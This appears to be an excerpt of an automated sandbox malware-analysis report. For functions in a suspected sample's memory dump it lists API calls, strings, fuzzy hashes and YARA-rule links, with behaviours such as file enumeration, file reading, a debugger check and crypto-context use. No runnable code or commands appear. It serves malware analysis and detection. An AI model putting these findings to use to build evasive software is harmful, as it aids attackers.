Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 9dd45eaae9987f8d70f71d2ede626ad0443d23e99682af219b7067fa5bc8f00e
Instruction ID: 094d23f0965e1e06ebd30eea4b669353e22c51626561092ffdfd291724a7d87d
Opcode Fuzzy Hash: 9dd45eaae9987f8d70f71d2ede626ad0443d23e99682af219b7067fa5bc8f00e
Instruction Fuzzy Hash: 22519271A00215ABEB20DFA5CD45ABF77B8FF14701F85406AB900E7251DBB8EA04CB69

Function 00431614 Relevance: 7.7, APIs: 5, Instructions: 171fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00431098: _strlen.LIBCMT ref: 004310F9

GetFileSize.KERNEL32(00000000,00000000), ref: 00431685
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 004316AB
CloseHandle.KERNEL32(00000000), ref: 004316BA
_strlen.LIBCMT ref: 00431705
CloseHandle.KERNEL32(00000000), ref: 00431805

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: CloseFileHandle_strlen$ReadSize
String ID:
API String ID: 1490117831-0
Opcode ID: 4a71785d40d7dbd602a46b51915c15dc8764bab8a00b228059a16c5dc149e670
Instruction ID: 7f7b73e2e7bfe3da6dd781ad66955350e9dc81ad7d99c2575abe99ce7e24c745
Opcode Fuzzy Hash: 4a71785d40d7dbd602a46b51915c15dc8764bab8a00b228059a16c5dc149e670
Instruction Fuzzy Hash: 4351F0B19043009BD704AF25CC85B2FBBE4BF89308F15592EF48997362E738D9448B6A

Function 0044375A Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0044384A

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 9576cc2dba8a3d47111e2fd6e2f4258fcc154c16441f8d4c5ef311760746f6fe
Instruction ID: 33d634ccff226ff5251012ffc0e058a86a610eef3b42576c18acc9388dbf549f
Opcode Fuzzy Hash: 9576cc2dba8a3d47111e2fd6e2f4258fcc154c16441f8d4c5ef311760746f6fe
Instruction Fuzzy Hash: 4D71E6F19051586FEF20AF29CC8DAAEBBB8AF09705F1441DBE04993251DA395F858F18

Function 00435020 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0043502C
IsDebuggerPresent.KERNEL32 ref: 004350F8
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00435111
UnhandledExceptionFilter.KERNEL32(?), ref: 0043511B

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 80ba5a456b80874b5e2462c7fa9db6f314681137c1a39c0ebd152e50dd5ec135
Instruction ID: f6f65c5acc04d42b47b84504b754b7548d10cd6627722918509d68960a171da1
Opcode Fuzzy Hash: 80ba5a456b80874b5e2462c7fa9db6f314681137c1a39c0ebd152e50dd5ec135
Instruction Fuzzy Hash: D93129B5D053189BDF21DF64D8497CDBBB8AF08305F1051AAE40DAB250EB759B858F48

Function 0043123B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 85encryptionCOMMON

Download Yara Rule

APIs

CryptContextAddRef.ADVAPI32(00000000,00000000,00000000), ref: 004312C7

Strings

[+], xrefs: 004312E1

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: ContextCrypt
String ID: [+]
API String ID: 3075001677-4228040803
Opcode ID: 3076f740318dd70b0f55ee2ef3d7445bb82fa18082c8c5a62f7f8c223e3d8e70
Instruction ID: 160768b535631fc8f33939d00e3f908491881ada1b24b66cfdad8359473f652a
Opcode Fuzzy Hash: 3076f740318dd70b0f55ee2ef3d7445bb82fa18082c8c5a62f7f8c223e3d8e70
Instruction Fuzzy Hash: 0F31F77150C3804BD716AB34A8997EBBBD0AFBD318F18097EDCC987243D1A55445CB62

Function 0044A222 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,00000000,7FFFFFFF,?,0044A20D,00000000,00000000,00000000,00000000,?,?,?,?,00000000,00000000), ref: 0044A2C8
__alloca_probe_16.LIBCMT ref: 0044A383
__alloca_probe_16.LIBCMT ref: 0044A412
__freea.LIBCMT ref: 0044A45D
__freea.LIBCMT ref: 0044A463
__freea.LIBCMT ref: 0044A499
__freea.LIBCMT ref: 0044A49F
__freea.LIBCMT ref: 0044A4AF

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: d7b262fd18b049f7d693cac3c3598d72792080ed2580086d9a6a6bfcc8e1fc05
Instruction ID: f6552ebe50b6292858add6debf1ad3ec5340f75046b23e57fdf9bdfb0754db9b
Opcode Fuzzy Hash: d7b262fd18b049f7d693cac3c3598d72792080ed2580086d9a6a6bfcc8e1fc05
Instruction Fuzzy Hash: AE71F972940205ABFF209E958C46BAF7BB6AF49314F18405BED04A7381E67DDC20876A

Function 004354C5 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 0043550C
__alloca_probe_16.LIBCMT ref: 00435538
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 00435577
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00435594
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 004355D3
__alloca_probe_16.LIBCMT ref: 004355F0
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00435632
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00435655

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 4f45f3a11106d1c310a0cea655ae739ed63e7e9b722dc21ad8c6ac4e06aa5b4f
Instruction ID: a4536d244d94184b11982723fc57847f96162450870043125c14eb1fb4fb0d33
Opcode Fuzzy Hash: 4f45f3a11106d1c310a0cea655ae739ed63e7e9b722dc21ad8c6ac4e06aa5b4f
Instruction Fuzzy Hash: 6451D172600606BFEF205F61CC46FBB7BA9EF48745F54542AF909A6290D738DD108B98

Function 004361E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00436217
___except_validate_context_record.LIBVCRUNTIME ref: 0043621F
_ValidateLocalCookies.LIBCMT ref: 004362A8
__IsNonwritableInCurrentImage.LIBCMT ref: 004362D3
_ValidateLocalCookies.LIBCMT ref: 00436328

Strings

csm, xrefs: 004362BD

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 8873b7eaffffbd85f8293a08c9b5bcec98472217463028db437665934c3887d3
Instruction ID: 0f0ef861a3e561e9d1a653746bf89813428434eda67086f9f1aece7545f4342b
Opcode Fuzzy Hash: 8873b7eaffffbd85f8293a08c9b5bcec98472217463028db437665934c3887d3
Instruction Fuzzy Hash: 4541C930A00215ABCF10EF69C884A9F7BB5EF4D328F16D59AE8145B392C739D905CB99

Function 0043F469 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,0043F578,0043186A,?,00000000,004331E1,0043186C,?,0043F1F6,00000022,FlsSetValue,0044DFE0,8,E,004331E1), ref: 0043F52A

Strings

ext-ms-, xrefs: 0043F4D4
api-ms-, xrefs: 0043F4C0

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: b4b57a283936dcea63e32c83b5f44718c4905ff3653fcca8e6674d9488f877c0
Instruction ID: c8fccb77c98b7476ac00b5ed8434ab0c5517700a122102605e2f9e07b07dd5a9
Opcode Fuzzy Hash: b4b57a283936dcea63e32c83b5f44718c4905ff3653fcca8e6674d9488f877c0
Instruction Fuzzy Hash: 0721F672E01311BBCB218F24EC41A5B77589B553A5F211132ED16A7392E738FE04C6D8

Function 0044625D Relevance: 9.3, APIs: 6, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a5af73baf49ab7067b998180000bdd2b1a944122c310fb9c172e1e428d01000
Instruction ID: c70a9b27c71d60b4bac0ff15a4bda44651ef8fb3de4138b8d8f00a07332615a6
Opcode Fuzzy Hash: 0a5af73baf49ab7067b998180000bdd2b1a944122c310fb9c172e1e428d01000
Instruction Fuzzy Hash: F4B11670A00344AFEF11DFA9E840BAEBBB1AF4A304F15416EE50097396C778D941CB6E

Function 0043D2C0 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0043D2B7,00435FB7,00435179), ref: 0043D2CE
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0043D2DC
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043D2F5
SetLastError.KERNEL32(00000000,0043D2B7,00435FB7,00435179), ref: 0043D347

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 201f7d76a9cb7449555ceb8d8388ef62a25532723d012e55a021f2326ebaa0ad
Instruction ID: acbc310b942b44c0a2cc1b2b16ce67ec57f2d2b232e6aafe68a075d4e8354ad5
Opcode Fuzzy Hash: 201f7d76a9cb7449555ceb8d8388ef62a25532723d012e55a021f2326ebaa0ad
Instruction Fuzzy Hash: 53014C7290E7115EA7252B757CC597B2644EB0977AB30133FF510511E1EF1DDC01928D

Function 0043DB88 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMON

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0043DCA7
CallUnexpected.LIBVCRUNTIME ref: 0043DF20

Strings

csm, xrefs: 0043DBC5
csm, xrefs: 0043DCDE
csm, xrefs: 0043DC32

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 08556c493717661728dd8f9fd42232bde5fb8dc2dfd25454f20eddd16790b25b
Instruction ID: a621c30b6f2d480a4c0008b38bb4ca2e89c8b5e2633b322e78f9311b0c934f94
Opcode Fuzzy Hash: 08556c493717661728dd8f9fd42232bde5fb8dc2dfd25454f20eddd16790b25b
Instruction Fuzzy Hash: 63B17771C00609AFCF25DFA5E8819AFBBB5BF18314F14605BE8116B306D378EA51CB99

Function 0043457B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00434582
std::_Lockit::_Lockit.LIBCPMT ref: 0043458C

Part of subcall function 004324C2: std::_Lockit::_Lockit.LIBCPMT ref: 004324DE
Part of subcall function 004324C2: std::_Lockit::~_Lockit.LIBCPMT ref: 004324F7

codecvt.LIBCPMT ref: 004345C6
std::_Lockit::~_Lockit.LIBCPMT ref: 004345FD

Strings

hfE, xrefs: 00434597

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID: hfE
API String ID: 3716348337-2358524596
Opcode ID: 1a730b0aa7e6d9179178189106f8dcf53bd5d112ed36abac75ce62ec693549bd
Instruction ID: 5ed56a876d94add222fcea6ecb874c2495daed5c4a9f4bce83d23582d4afa920
Opcode Fuzzy Hash: 1a730b0aa7e6d9179178189106f8dcf53bd5d112ed36abac75ce62ec693549bd
Instruction Fuzzy Hash: C30100319002159BCB00EFA5D9166AE7771FF98314F20550FE411A7391CFBCAE018B99

Function 00438C55 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,0044B774,000000FF,?,00438D16,00438BFD,?,00438DB2,00000000), ref: 00438C8A
GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,00000000,0044B774,000000FF,?,00438D16,00438BFD,?,00438DB2,00000000), ref: 00438C9C
FreeLibrary.KERNEL32(00000000,?,?,00000000,0044B774,000000FF,?,00438D16,00438BFD,?,00438DB2,00000000), ref: 00438CBE

Strings

mscoree.dll, xrefs: 00438C83
CorExitProcess, xrefs: 00438C94

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: dfa07ded54440dd55879870f360eede5edd47d5c9221b9e990e1bf67da6e0c63
Instruction ID: cc5ab1b177b8a1e7668f34052d09e341f5966e2f5a03a88a54d26ab8373eea62
Opcode Fuzzy Hash: dfa07ded54440dd55879870f360eede5edd47d5c9221b9e990e1bf67da6e0c63
Instruction Fuzzy Hash: 10016CB1945755EFDB118F54CC05BAEB7B8FB48B52F004526FC11A22D1DB78D900CA98

Function 0043FC3D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0043FCC2
__alloca_probe_16.LIBCMT ref: 0043FD8B
__freea.LIBCMT ref: 0043FDF2

Part of subcall function 0043E531: HeapAlloc.KERNEL32(00000000,004331E1,0043186A,?,004360C1,0043186C,0043186A,?,?,?,00433181,004331E1,0043186E,0043186A,0043186A,0043186A), ref: 0043E563

__freea.LIBCMT ref: 0043FE05
__freea.LIBCMT ref: 0043FE12

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: c227b27c80fb57b77221b8bca46396135be4e7b613dc5c2e891c3c3432389fdb
Instruction ID: 491ee90d742700ba82d32980b1db3da53571eca13caf23330882da04cc8a3154
Opcode Fuzzy Hash: c227b27c80fb57b77221b8bca46396135be4e7b613dc5c2e891c3c3432389fdb
Instruction Fuzzy Hash: 6051A572900206ABDF209F62CC46EBB76A9EF4C714F15143EFD05D6251EB38DC5486A8

Function 00433010 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00433017
std::_Lockit::_Lockit.LIBCPMT ref: 00433022
std::_Lockit::~_Lockit.LIBCPMT ref: 00433090

Part of subcall function 00432EE4: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00432EFC

std::locale::_Setgloballocale.LIBCPMT ref: 0043303D
_Yarn.LIBCPMT ref: 00433053

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: af217a89a8e48683fcf63ba0e3cca38f5c1ebffe91039c4dbacd6063f00c3904
Instruction ID: cd90932dd853f87535852cfe44acabe7e90956f73c44a616ca081dea690895b3
Opcode Fuzzy Hash: af217a89a8e48683fcf63ba0e3cca38f5c1ebffe91039c4dbacd6063f00c3904
Instruction Fuzzy Hash: 6A01B1B5A002149BCB09EF60E84257D7B71FF88346F15501EE81157382DF78AE02CB89

Function 00447E92 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00447F2E,00000000,?,00456E10,?,?,?,00447E65,00000004,InitializeCriticalSectionEx,0044E57C,0044E584), ref: 00447E9F
GetLastError.KERNEL32(?,00447F2E,00000000,?,00456E10,?,?,?,00447E65,00000004,InitializeCriticalSectionEx,0044E57C,0044E584,00000000,?,0043E1DC), ref: 00447EA9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00447ED1

Strings

api-ms-, xrefs: 00447EB6

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
